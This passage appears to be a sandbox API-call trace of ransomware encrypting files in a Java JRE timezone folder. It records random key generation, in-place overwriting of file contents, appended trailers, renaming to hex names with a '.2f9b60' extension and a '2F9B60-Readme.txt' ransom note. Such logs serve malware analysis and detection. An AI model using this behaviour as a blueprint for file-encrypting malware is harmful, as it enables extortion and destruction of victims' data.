BaseAddress=0x4316ebc0) returned 1 [0237.688] NtQueryInformationFile (in: FileHandle=0x2bbc, IoStatusBlock=0x3733fe78, FileInformation=0x3733fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3733fe78, FileInformation=0x3733fe88) returned 0x0 [0237.688] NtSetInformationFile (FileHandle=0x2bbc, IoStatusBlock=0x3733fe78, FileInformation=0x3733fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a09f0) returned 1 [0237.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e90c0) returned 1 [0237.965] FlushFileBuffers (hFile=0x2bbc) returned 1 [0238.245] CloseHandle (hObject=0x2bbc) returned 1 [0241.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a0c30 [0241.733] wcscpy (in: _Dest=0x431a0c30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.733] wcscat (in: _Dest=0x431a0c30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.733] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a0c30) returned 1 [0243.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f000) returned 1 Thread: id = 2850 os_tid = 0x1aac [0160.286] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Porto-Novo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\porto-novo")) returned 0x20 [0165.730] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Porto-Novo", dwFileAttributes=0x20) returned 1 [0165.731] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Porto-Novo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\porto-novo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2958 [0165.732] GetFileSizeEx (in: hFile=0x2958, lpFileSize=0x4547f720 | out: lpFileSize=0x4547f720*=77) returned 1 [0165.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b760 [0165.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19ef0 [0165.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f20 [0165.734] NtQuerySystemTime (in: CurrentTime=0x4547f5e0 | out: CurrentTime=0x4547f5e0*=132462177708430000) returned 0x0 [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x63d1103e [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x25b0b4ef [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x73ec61d3 [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x47422f60 [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x6452c021 [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x24632fdf [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x7408a934 [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0xc081934 [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x5fe5530b [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x372bd42d [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x2438685d [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x48c4b3d5 [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x697fa2f2 [0165.734] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x5e65cc9e [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x71177d70 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x7b4dae63 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x1e585e41 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x2493147b [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x38e410b7 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x5b8a14b0 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x53d616c3 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x3f41d4ac [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x2ea74e3c [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0xc592dd4 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x49551f71 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x75d2fea8 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x5ac233a3 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x599346f0 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x2e23303d [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x70c8be82 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x2e7bf781 [0165.756] RtlRandomEx (in: Seed=0x4547f5d0 | out: Seed=0x4547f5d0) returned 0x13fc9d5d [0165.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b860 [0165.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868440 [0165.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b8c0 [0165.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 [0165.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f20) returned 1 [0165.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b760) returned 1 [0165.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868440 [0165.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b760 [0165.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b760) returned 1 [0165.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429f52c0 [0165.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429f8ed0 [0165.769] ReadFile (in: hFile=0x2958, lpBuffer=0x429f52c0, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x4547f5d0, lpOverlapped=0x0 | out: lpBuffer=0x429f52c0*, lpNumberOfBytesRead=0x4547f5d0*=0x4d, lpOverlapped=0x0) returned 1 [0165.770] SetFilePointerEx (in: hFile=0x2958, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.770] WriteFile (in: hFile=0x2958, lpBuffer=0x429f8ed0*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x4547f5d4, lpOverlapped=0x0 | out: lpBuffer=0x429f8ed0*, lpNumberOfBytesWritten=0x4547f5d4*=0x4d, lpOverlapped=0x0) returned 1 [0165.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19140 [0165.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18e70 [0165.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18e70) returned 1 [0165.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429f8ed0) returned 1 [0165.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429f52c0) returned 1 [0165.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 [0165.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42c18e70 [0165.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868440 [0165.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ea0 [0165.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ea0) returned 1 [0165.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42c18ea0 [0165.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f00 [0165.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ed0 [0165.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ed0) returned 1 [0165.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 [0165.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x42c177f0 [0165.915] SetFilePointerEx (in: hFile=0x2958, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.915] WriteFile (in: hFile=0x2958, lpBuffer=0x42c177f0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x4547f6f0, lpOverlapped=0x0 | out: lpBuffer=0x42c177f0*, lpNumberOfBytesWritten=0x4547f6f0*=0x106, lpOverlapped=0x0) returned 1 [0206.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6880 [0206.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6880) returned 1 [0206.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0eae0 [0206.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6880 [0206.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6850 [0206.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6850) returned 1 [0206.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d82c0 [0206.927] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="16") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="57") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="0d") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="fb") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="c5") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="87") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="d2") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="38") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="5f") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="b2") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="0a") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="74") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="fc") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="ae") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="a4") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="45") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="f4") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="da") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="2b") returned 2 [0206.928] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="13") returned 2 [0206.928] RtlInitAnsiString (in: DestinationString=0x4547f768, SourceString="16570dfbc587d2385fb20a74fcaea445f4da2b13" | out: DestinationString="16570dfbc587d2385fb20a74fcaea445f4da2b13") [0206.928] RtlAnsiStringToUnicodeString (in: DestinationString=0x4547f738, SourceString="16570dfbc587d2385fb20a74fcaea445f4da2b13", AllocateDestinationString=1 | out: DestinationString="16570dfbc587d2385fb20a74fcaea445f4da2b13") returned 0x0 [0206.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431fa020 [0206.929] wcscat (in: _Dest=0x43155a40, _Source="16570dfbc5" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\16570dfbc5") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\16570dfbc5" [0206.929] wcscat (in: _Dest=0x43155a40, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\16570dfbc5.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\16570dfbc5.2f9b60" [0206.929] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\16570dfbc5.2f9b60", NtPathName=0x4547f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\16570dfbc5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x4314f170 Thread: id = 2851 os_tid = 0x1ab0 [0160.287] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Sao_Tome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\sao_tome")) returned 0x20 [0165.824] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Sao_Tome", dwFileAttributes=0x20) returned 1 [0167.338] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Sao_Tome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\sao_tome"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c68 [0168.095] GetFileSizeEx (in: hFile=0x2c68, lpFileSize=0x4567fa40 | out: lpFileSize=0x4567fa40*=65) returned 1 [0168.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19fb0 [0168.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a040 [0168.095] NtQuerySystemTime (in: CurrentTime=0x4567f900 | out: CurrentTime=0x4567f900*=132462177732142000) returned 0x0 [0168.095] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x26384314 [0168.095] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x5f34e9ac [0168.095] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x6238698e [0168.095] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x7ee62767 [0168.095] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x2e628106 [0168.095] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x99fe45b [0168.095] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x63f6cae9 [0168.095] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x42dd23d6 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x54bfe471 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x6fd05db7 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x74488f72 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x4f046aec [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x335d04f0 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x5e194f74 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x4c737aae [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x56cc71cc [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x23541664 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x38afb54d [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x6b514d59 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x3998200 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x73cf872a [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x1d0c42d3 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x7d22b1ef [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x8fe7663 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x33236691 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x78baf6f2 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x2fbe6278 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x38a1200d [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x2321bd30 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x7475d155 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x403f6d23 [0168.096] RtlRandomEx (in: Seed=0x4567f8f0 | out: Seed=0x4567f8f0) returned 0x422748f5 [0168.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a070 [0168.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5af30 [0168.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a0a0 [0168.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5af30) returned 1 [0168.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a040) returned 1 [0168.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0168.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5af30 [0168.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424aa600 [0168.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424979b0 [0168.105] ReadFile (in: hFile=0x2c68, lpBuffer=0x424aa600, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x4567f8f0, lpOverlapped=0x0 | out: lpBuffer=0x424aa600*, lpNumberOfBytesRead=0x4567f8f0*=0x41, lpOverlapped=0x0) returned 1 [0168.106] SetFilePointerEx (in: hFile=0x2c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.107] WriteFile (in: hFile=0x2c68, lpBuffer=0x424979b0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x4567f8f4, lpOverlapped=0x0 | out: lpBuffer=0x424979b0*, lpNumberOfBytesWritten=0x4567f8f4*=0x41, lpOverlapped=0x0) returned 1 [0186.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859700 [0186.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85acf0 [0186.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85acf0) returned 1 [0186.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424979b0) returned 1 [0186.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424aa600) returned 1 [0186.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5af30) returned 1 [0186.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0186.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85acf0 [0186.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0186.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5af30 [0186.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0186.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0186.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85a270 [0186.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594f0 [0186.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e820 [0186.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e820) returned 1 [0186.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5af30) returned 1 [0186.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0186.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x43104a50 [0186.815] SetFilePointerEx (in: hFile=0x2c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.815] WriteFile (in: hFile=0x2c68, lpBuffer=0x43104a50*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x4567fa10, lpOverlapped=0x0 | out: lpBuffer=0x43104a50*, lpNumberOfBytesWritten=0x4567fa10*=0x102, lpOverlapped=0x0) returned 1 [0200.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0200.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205003e0 [0200.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205003e0) returned 1 [0200.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d260 [0200.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205003e0 [0200.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205003b0 [0200.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205003b0) returned 1 [0200.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0200.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x205003b0 [0200.752] sprintf (in: _Dest=0x205003b0, _Format="%c%c" | out: _Dest="93") returned 2 [0200.752] sprintf (in: _Dest=0x205003b2, _Format="%c%c" | out: _Dest="89") returned 2 [0200.752] sprintf (in: _Dest=0x205003b4, _Format="%c%c" | out: _Dest="77") returned 2 [0200.752] sprintf (in: _Dest=0x205003b6, _Format="%c%c" | out: _Dest="b0") returned 2 [0200.752] sprintf (in: _Dest=0x205003b8, _Format="%c%c" | out: _Dest="9e") returned 2 [0200.752] sprintf (in: _Dest=0x205003ba, _Format="%c%c" | out: _Dest="05") returned 2 [0200.752] sprintf (in: _Dest=0x205003bc, _Format="%c%c" | out: _Dest="b1") returned 2 [0200.752] sprintf (in: _Dest=0x205003be, _Format="%c%c" | out: _Dest="98") returned 2 [0200.752] sprintf (in: _Dest=0x205003c0, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.752] sprintf (in: _Dest=0x205003c2, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.752] sprintf (in: _Dest=0x205003c4, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.752] sprintf (in: _Dest=0x205003c6, _Format="%c%c" | out: _Dest="9a") returned 2 [0200.752] sprintf (in: _Dest=0x205003c8, _Format="%c%c" | out: _Dest="b1") returned 2 [0200.752] sprintf (in: _Dest=0x205003ca, _Format="%c%c" | out: _Dest="e4") returned 2 [0200.752] sprintf (in: _Dest=0x205003cc, _Format="%c%c" | out: _Dest="b5") returned 2 [0200.752] sprintf (in: _Dest=0x205003ce, _Format="%c%c" | out: _Dest="85") returned 2 [0200.752] RtlInitAnsiString (in: DestinationString=0x4567fa88, SourceString="938977b09e05b1985a5a1c9ab1e4b585" | out: DestinationString="938977b09e05b1985a5a1c9ab1e4b585") [0200.753] RtlAnsiStringToUnicodeString (in: DestinationString=0x4567fa58, SourceString="938977b09e05b1985a5a1c9ab1e4b585", AllocateDestinationString=1 | out: 